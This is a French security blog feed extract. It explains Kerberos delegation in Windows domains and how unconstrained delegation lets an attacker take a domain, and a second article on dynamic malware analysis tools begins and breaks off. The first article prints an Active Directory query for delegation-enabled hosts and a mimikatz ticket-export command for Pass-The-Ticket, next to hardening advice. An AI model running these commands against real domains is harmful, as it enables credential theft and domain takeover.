<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Microsoft a introduit les délégations Kerberos dans l’objectif de permettre à une application de réutiliser l’identité d’un utilisateur pour accéder à une ressource hébergée sur un serveur différent. Un cas d’usage est par exemple l’accès à des documents hébergés sur un serveur dédié depuis une plateforme SharePoint :</p>
<figure id="post-15800 media-15800" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15800 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3.png" alt="" width="385" height="249" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3.png 385w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3-295x191.png 295w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3-60x39.png 60w" sizes="auto, (max-width: 385px) 100vw, 385px" /></figure>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">L’utilisateur n’ayant pas d’accès direct au serveur de fichiers, il s’authentifie sur la plateforme SharePoint qui doit alors transmettre l’identité de l’utilisateur au serveur de fichiers.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Cependant, les tickets de service étant délivrés pour une application spécifique, le SharePoint ne peut transmettre directement le ticket qu’il a reçu de l’utilisateur. C’est donc pour répondre à cette problématique que Microsoft a mis en place les délégations Kerberos, qui existent sous deux formes :</p>
<ul style="font-weight: 400;">
<li>Les délégations non contraintes, apparues avec le système d’exploitation Windows Serveur 2000, et qui donnent l’autorisation à un compte de service de réutiliser l’identité de l’utilisateur sur n’importe quel service du domaine ou de la forêt.</li>
<li>Les délégations contraintes, apparues avec le système d’exploitation Windows Serveur 2003, et qui permettent un meilleur contrôle en limitant les services sur lesquels un compte de service donné peut s’authentifier en tant que l’utilisateur.</li>
</ul>
<h2 data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Les délégations Kerberos non contraintes</h2>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Le schéma d’authentification d’un utilisateur désirant accéder à une ressource dans le cas d’une délégation Kerberos non contrainte est le suivant :</p>
<figure id="post-15802 media-15802" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15802 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4.png" alt="" width="734" height="314" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4.png 734w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4-437x187.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4-71x30.png 71w" sizes="auto, (max-width: 734px) 100vw, 734px" /></figure>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Lors de la première étape de ce schéma, l’utilisateur effectue une demande de TGT auprès du contrôleur de domaine, en lui transmettant un <em>timestamp</em> chiffré avec le hash NTLM de son mot de passe. Après avoir validé son identité, le contrôleur de domaine fournit un TGT à l’utilisateur (étape 2), comme il le ferait pour une authentification Kerberos classique.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Pour s’authentifier auprès de l’application SharePoint, l’utilisateur demande alors un TGS au contrôleur de domaine, en lui fournissant le TGT précédemment récupéré (étape 3). Dans le cas d’une délégation Kerberos non contrainte, le contrôleur de domaine construit le TGS de l’utilisateur à partir de son TGT, qu’il chiffre à l’aide du hash NTLM du mot de passe du compte de service utilisé par l’application SharePoint (étape 4).</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">L’utilisateur s’authentifie alors sur l’application SharePoint (étape 5) en transmettant le TGS que lui a fourni le contrôleur de domaine lors de l’étape précédente.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Le compte de service de l’application SharePoint peut déchiffrer ce TGS étant donné qu’il est chiffré avec son propre hash. Il récupère ainsi le TGT de l’utilisateur, qu’il peut fournir au contrôleur de domaine pour effectuer une demande de TGS pour le serveur de fichier (étape 6). Le TGT étant celui de l’utilisateur, le TGS renvoyé par le contrôleur de domaine (étape 7) représente son identité, et non celle du compte de service.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Le compte de service de l’application SharePoint peut alors transmettre ce TGS (étape 8), que le serveur de fichiers validera comme s’il provenait de l’utilisateur lui-même, donnant accès au document demandé (étape 9).  Ayant récupéré ce document, l’application SharePoint peut le fournir à l’utilisateur, pour lequel les phases d’authentification intermédiaires auront été transparentes.</p>
<h2 data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Les délégations Kerberos contraintes</h2>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Dans le cas d’une délégation Kerberos contrainte, deux extensions de protocole sont utilisées pour permettre à une application de réutiliser l’identité de l’un de ses utilisateurs :</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">S4U2Self (Server-for-User-to-Self) qui autorise un service à obtenir un TGS pour lui-même en tant qu’un utilisateur.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">S4U2Proxy (Server-for-User-to-Proxy) qui autorise un service à obtenir un TGS pour un autre service en tant qu’un utilisateur.</p>
<p data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">La cinématique d’authentification et d’accès aux ressources dans le cas d’une telle délégation est alors la suivante :</p>
<figure id="post-15804 media-15804" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15804 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5.png" alt="" width="734" height="325" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5.png 734w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-431x191.png 431w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-71x31.png 71w" sizes="auto, (max-width: 734px) 100vw, 734px" /></figure>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Dans la première étape de cette cinématique, l’utilisateur s’authentifie après du premier service en lui transmettant ses identifiants. L’authentification n’utilisant pas Kerberos, l’utilisateur n’a pas besoin de s’authentifier auprès du contrôleur de domaine.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Le compte de service demande alors un TGS représentant l’identité de l’utilisateur et permettant de s’authentifier auprès de son propre service (étape 2). Le compte de service possédant l’extension S4U2Self, le contrôleur de domaine accorde ce ticket (étape 3).</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Ce même compte de service demande ensuite un TGS représentant l’identité de l’utilisateur et permettant de s’authentifier auprès du second service (étape 4). Après validation de l’extension S4U2Proxy, le contrôleur de domaine accorde ce TGS (étape 5)</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Grâce à ce second ticket de service, le compte de service du SharePoint peut accéder aux ressources du serveur de fichier avec l’identité de l’utilisateur (étape 6). Le serveur de fichiers valide les privilèges de l’utilisateur, et transmet le document demandé au compte de service SharePoint (étape 7), qui le transmet à l’utilisateur (étape 8).</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Contrairement au cas des délégations non contraintes, l’utilisation de l’extension de protocole S4U2Proxy permet de spécifier les services accessibles au compte de service SharePoint. Ainsi, même si l’utilisateur dispose des privilèges nécessaires pour accéder à un autre serveur, le compte de service ne pourra récupérer de TGS valide représentant l’identité de l’utilisateur. Dans le cas d’une délégation contrainte, cette restriction se fait à l’aide d’un paramètre du compte de service, appelé SPN pour <em>Service Principal Name</em>.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Il est à noter que depuis la version Serveur 2012 du système d’exploitation Windows, un troisième type de délégation Kerberos est proposée, les délégations Kerberos contraintes basées sur les ressources. Le fonctionnement de ces délégations est similaire à celui des délégations contraintes, mais la restriction est effectuée en spécifiant explicitement le compte ayant accès aux ressources.</p>
<h2 data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Exploiter les délégations non contraintes</h2>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Les faiblesses induites par les délégations Kerberos non-contraintes sont connues depuis plusieurs années. Sean Metcalf a, par exemple, présenté les dangers de telles délégations à la Black Hat USA 2015. Dans la cinématique d’authentification présentée précédemment, il est en effet évident que le compte de service de l’application SharePoint peut, une fois que l’utilisateur lui a transmis un TGS contenant son TGT, accéder à l’ensemble des services pour lesquels l’utilisateur dispose de privilèges nécessaires.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">L’objectif d’un attaquant est alors d’obtenir le TGT d’un administrateur du domaine, ce qui lui permet de se connecter au contrôleur de domaine avec les privilèges maximum pour changer le mot de passe du compte <em>krbtgt </em>afin de pouvoir forger ses propres tickets à la demande.</p>
<p style="font-weight: 400; text-align: left;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Pour parvenir à cela, il est d’abord nécessaire d’identifier les services qui disposent de délégations non contraintes. Pour cela, il suffit de filtrer les objets de l’Active Directory à la recherche de paramètres <em>TrustedForDelegation </em>valant <em>True</em>. Ce paramètre indique en effet la présence d’une délégation non contrainte, et est de plus accessible sans privilège particulier, par exemple à l’aide de la commande <em>Get-ADComputer</em> du module <em>ActiveDirectory </em>:</p>
<table class="MsoNormalTable" style="background: #dacdeb; border-collapse: collapse; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-yfti-tbllook: 1184;" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 551.5pt;" valign="top" width="735">
<div class="MsoNormal" style="mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly; text-align: justify;">
<div style="text-align: left;"><span lang="EN-GB"><span style="font-family: 'courier new' , 'courier' , monospace;">PS C:\&gt; Import-Module ActiveDirectory</span></span></div>
</div>
<div class="MsoNormal" style="mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly; text-align: justify;">
<div style="text-align: left;"><span style="font-family: inherit;"><span lang="EN-GB"><span style="font-family: 'courier new' , 'courier' , monospace;">PS C:\&gt; Get-ADComputer –Filter {(TrustedForDelegation –eq $True) –and (PrimaryGroupID –eq 515)}</span></span></span></div>
</div>
</td>
</tr>
</tbody>
</table>
<p style="font-weight: 400; text-align: left;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Une fois les services disposant d’une délégation Kerberos non contrainte identifiés, il est nécessaire d’obtenir des privilèges administrateur sur l’un des serveurs sur lesquels ils sont utilisés. Les méthodes de compromission classiques peuvent alors être utilisées, mais ne seront pas abordées dans cet article.</p>
<p style="font-weight: 400; text-align: left;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">En cas d’accès au service par un administrateur du domaine, l’attaquant sera en mesure d’extraire le TGS fourni à l’aide par exemple de l’outil <em>mimikatz </em>et de la commande suivante :</p>
<table class="MsoNormalTable" style="background: #dacdeb; border-collapse: collapse; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-yfti-tbllook: 1184;" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 551.5pt;" valign="top" width="735">
<div class="MsoNormal" style="mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly; text-align: justify;">
<div style="text-align: left;"><span style="font-family: inherit;"><span style="font-family: 'courier new' , 'courier' , monospace;">mimikatz # kerberos::list /export</span></span></div>
</div>
</td>
</tr>
</tbody>
</table>
<p style="font-weight: 400; text-align: left;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Comme indiqué dans le scénario d’authentification, ce TGS contient le TGT de l’administrateur, que l’attaquant pourra extraire afin de réaliser une attaque <em>Pass-The-Ticket</em> pour se connecter au contrôleur de domaine.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Les recommandations pour protéger un domaine d’une telle attaque sont alors les suivantes :</p>
<ul>
<li>Utiliser des délégations Kerberos contraintes qui sont plus restrictives</li>
<li>Configurer l’ensemble des comptes à privilèges avec le paramètre « Le compte est sensible et ne peut être délégué » qui empêche la réutilisation de l’identité du compte par une application possédant une délégation</li>
</ul>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Dans le cas d’un domaine au niveau fonctionnel supérieur à Windows Serveur 2012 R2, le groupe de sécurité « Utilisateurs protégés » peut être utilisé pour les comptes à privilèges étant donné que les délégations ne sont pas autorisées pour les comptes de ce groupe.</p>
<h2>Qu’en est-il des délégations contraintes ?</h2>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">L’utilisation de délégations contraintes semble être une alternative plus sécurisée. Cependant, différents éléments sont à noter concernant ce mécanisme d’authentification, comme l’a présenté Matan Hart lors de la Black Hat 2017. En effet, les deux extensions de protocole utilisées ont été pensées avec les principes suivants :</p>
<ul>
<li>Les deux extensions permettent à un service Kerberos d’obtenir des TGS sans même que l’utilisateur n’ait besoin de s’authentifier auprès du contrôleur de domaine.</li>
<li>L’extension S4U2Self permet au service d’obtenir un TGS pour l’utilisateur sans qu’aucun mot de passe ne soit nécessaire.</li>
</ul>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">De ce fait, un service qui possèderait les deux extensions pourrait obtenir un TGS pour n’importe quel autre service en se faisant passer pour un utilisateur, et ce sans nécessiter son mot de passe.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Matan Hart a publié son outil « Mystique[1] » qui permet d’identifier des configurations à risque pour les délégations. Pour cela, il liste les comptes qui disposent du paramètre <em>TrustedToAuthForDelegation </em>valant True, indiquant une délégation contrainte, ainsi que d’un paramètre <em>MsDS-AllowedToDelegateTo</em> non nul, indiquant l’utilisation d’un SPN, ce qui est obligatoire pour les comptes de délégation.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Il est également à noter que les TGS sont validés selon deux critères, le hash du mot de passe de l’utilisateur, et le SPN possédé par le compte de service qui possède la délégation contrainte. En cas de multiples SPNs associés à un même compte de service, et de mot de passe partagé entre différents comptes, les tickets pour deux services distincts seront complétement interchangeables, ce qui pourrait permettre à un service de réutiliser l’identité d’un utilisateur de manière illégitime.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Ces faiblesses ne sont pas considérées comme des vulnérabilités par Microsoft, et ne sont donc pas amenées à changer. Lors de la création d’une délégation Kerberos contrainte, il est alors nécessaire de faire attention aux points suivants pour se protéger des attaques :</p>
<ul>
<li>Configurer les services à l’aide de comptes de service dédiés, évitant ainsi le partage des comptes qui pourrait aboutir à des tickets interchangeables. Il est également important d’assurer une bonne complexité des mots de passe, ainsi qu’une rotation régulière.</li>
<li>Configurer des SPNs uniques comme étant autorisés pour la délégation, en évitant les SPNs par défaut de Microsoft, et en spécifiant les ports utilisés.</li>
<li>Comme pour les délégations non contraintes, configurer les comptes à privilèges comme étant des comptes sensibles ne pouvant être délégués.</li>
</ul>
<h2>Conclusion</h2>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">L’utilisation de délégations contraintes n’est pas totalement à proscrire. Il est cependant nécessaire de bien maitriser leur configuration et les ressources auxquelles elles permettent d’accéder afin d’éviter les travers détaillés dans cet article.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2017/04/compromission-domaine-windows-delegation-kerberos/">Compromission d’un domaine Windows à l’aide des délégations Kerberos</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Reverse Engineering &#8211; focus sur l’analyse dynamique de malware</title>
		<link>https://www.riskinsight-wavestone.com/2016/06/reverse-engineering-focus-sur-lanalyse/</link>
		
		<dc:creator><![CDATA[Vincent Nguyen]]></dc:creator>
		<pubDate>Tue, 21 Jun 2016 16:57:29 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[analyse dynamique]]></category>
		<category><![CDATA[audit]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15773</guid>

					<description><![CDATA[<p>L’analyse dynamique d’un fichier correspond à analyser l’exécution de ce fichier. Cette analyse permet alors de déterminer le comportement réel du malware, là où certains éléments de l’analyse statique peuvent être présents uniquement pour détourner l’attention de l’analyste, ou lui...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2016/06/reverse-engineering-focus-sur-lanalyse/">Reverse Engineering &#8211; focus sur l’analyse dynamique de malware</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<div style="margin-left: 1em; margin-right: 1em;"></div>
</div>
<div style="text-align: justify;">L’analyse dynamique d’un fichier correspond à analyser l’exécution de ce fichier. Cette analyse permet alors de déterminer le comportement réel du <i>malware</i>, là où certains éléments de l’analyse statique peuvent être présents uniquement pour détourner l’attention de l’analyste, ou lui compliquer la tâche.</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-left: 0cm; margin-top: 5px;">
<div style="text-align: justify;">Une première forme d’analyse dynamique correspond à l’exécution du <i>malware</i> et à l’observation des modifications qu’il entraine sur le système. Cette analyse a le plus souvent pour but de déterminer les actions à effectuer pour supprimer le <i>malware</i>, et/ou créer une signature.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-left: 0cm; margin-top: 5px;">
<div style="text-align: justify;"><i><span style="mso-fareast-language: FR;">Attention, </span>ce type d’analyse doit absolument être fait dans un environnement contrôlé (machine virtuelle, poste dédié et déconnecté du SI, etc.) afin de ne pas risquer la propagation de l’infection.</i></div>
</div>
<h2 style="margin-bottom: 15px; margin-top: 25px; text-align: justify;"><span style="mso-list: Ignore;">1)<span style="font: 7pt 'Times New Roman';">     </span></span>Analyse des opérations</h2>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">L’analyse dynamique permet la surveillance de nombreuses informations : les registres, le système de fichiers et les processus<i>. </i>Cette étape est au début assez fastidieuse étant donné que de nombreuses informations sont accessibles. Il existe différents outils permettant d’accéder à ces informations.<i> ProcessMonitor</i> est l’un de ces outils qui a l’avantage de permettre à l’analyste de filtrer ses recherches sur un exécutable, ce qui est très pratique pour l’analyse de <i>malwares</i>.</div>
<div style="text-align: center;">
<figure id="post-15774 media-15774" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15774 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-2.jpg" alt="" width="604" height="163" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-2.jpg 604w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-2-437x118.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-2-71x19.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-2-600x163.jpg 600w" sizes="auto, (max-width: 604px) 100vw, 604px" /></figure>
</div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;"></div>
</div>
<p><i>Figure 1 : Résultat d’une analyse de ProcessMonitor sur un malware appelé mm32.exe</i></p>
</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">L’analyse de ces différents éléments permet à l’analyste d’avoir une meilleure compréhension de l’activité du <i>malware</i>. Cependant, étant donné le nombre d’informations renvoyées par <i>ProcessMonitor</i> dont la plupart représentent des évènements standards du lancement d’un exécutable, l’analyse demande beaucoup de pratique et de la patience.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;"></div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Un autre outil permettant une analyse poussée des processus est <i>Process Explorer</i>. Il permet de lister les processus, les bibliothèques chargées par un processus, différentes informations sur ces processus, ainsi que des informations globales sur le système. L’avantage de cet outil est qu’il présente les informations sous forme d’arbre, exposant ainsi les relations entre les processus parents et enfants.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Les informations que <i>Process Explorer</i> renvoie sont le nom du processus, le PID (numéro d’identification du processus), l’utilisation du CPU, une description ainsi que le nom de l’entreprise ayant créé le binaire (champs laissés libres au créateur du binaire…). Par défaut les services sont surlignés en rose, les processus en bleu, les nouveaux processus en vert et les processus terminés en rouge. La vue se met alors à jour à chaque seconde. Lors de l’analyse de <i>malware</i> il est donc intéressant de repérer les différents processus qui sont modifiés ou créés afin de pouvoir enquêter dessus de manière plus approfondie.</div>
</div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<div style="text-align: center;">
<figure id="post-15776 media-15776" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15776 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-3.jpg" alt="" width="605" height="454" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-3.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-3-255x191.jpg 255w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-3-52x39.jpg 52w" sizes="auto, (max-width: 605px) 100vw, 605px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p><i>Figure 2 : Résultat de Process Explorer sur un exécutable</i></p>
</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Ces techniques sont très efficaces pour comprendre ce que fait un exécutable, mais il ne faut pas négliger leur utilité pour déterminer si un document est malveillant ou non. Un moyen rapide de savoir si un PDF est malveillant, par exemple, est de lancer <i>Process Explorer</i> puis d’ouvrir le PDF et de regarder si de nouveaux processus sont créés.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;"><u>Remarque :</u> Pour l’analyse de documents, il est souvent intéressant d’utiliser des versions intentionnellement non <i>patchées</i> des logiciels afin de s’assurer que l’attaque est efficace. Une bonne manière de faire cela est par exemple de créer plusieurs <i>snapshots</i> d’une machine virtuelle d’analyse, chaque <i>snapshot</i> ayant une version différente, et généralement assez âgée, des logiciels.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Pour l’analyse de registres, l’outil <i>Regshot</i> permet de comparer les registres sur deux <i>snapshots </i>différents. Un extrait de résultat de <i>Regshot</i> peut ressembler à la figure 3.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Dans ce résultat, le premier constat est la création d’un mécanisme de persistance <i>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</i> par le programme <i>ckr.exe</i>, le deuxième est la modification<i> </i>de la valeur de la <i>seed</i> pour le générateur de nombre aléatoire, ce qui représente un bruit habituel.</div>
<div style="text-align: center;">
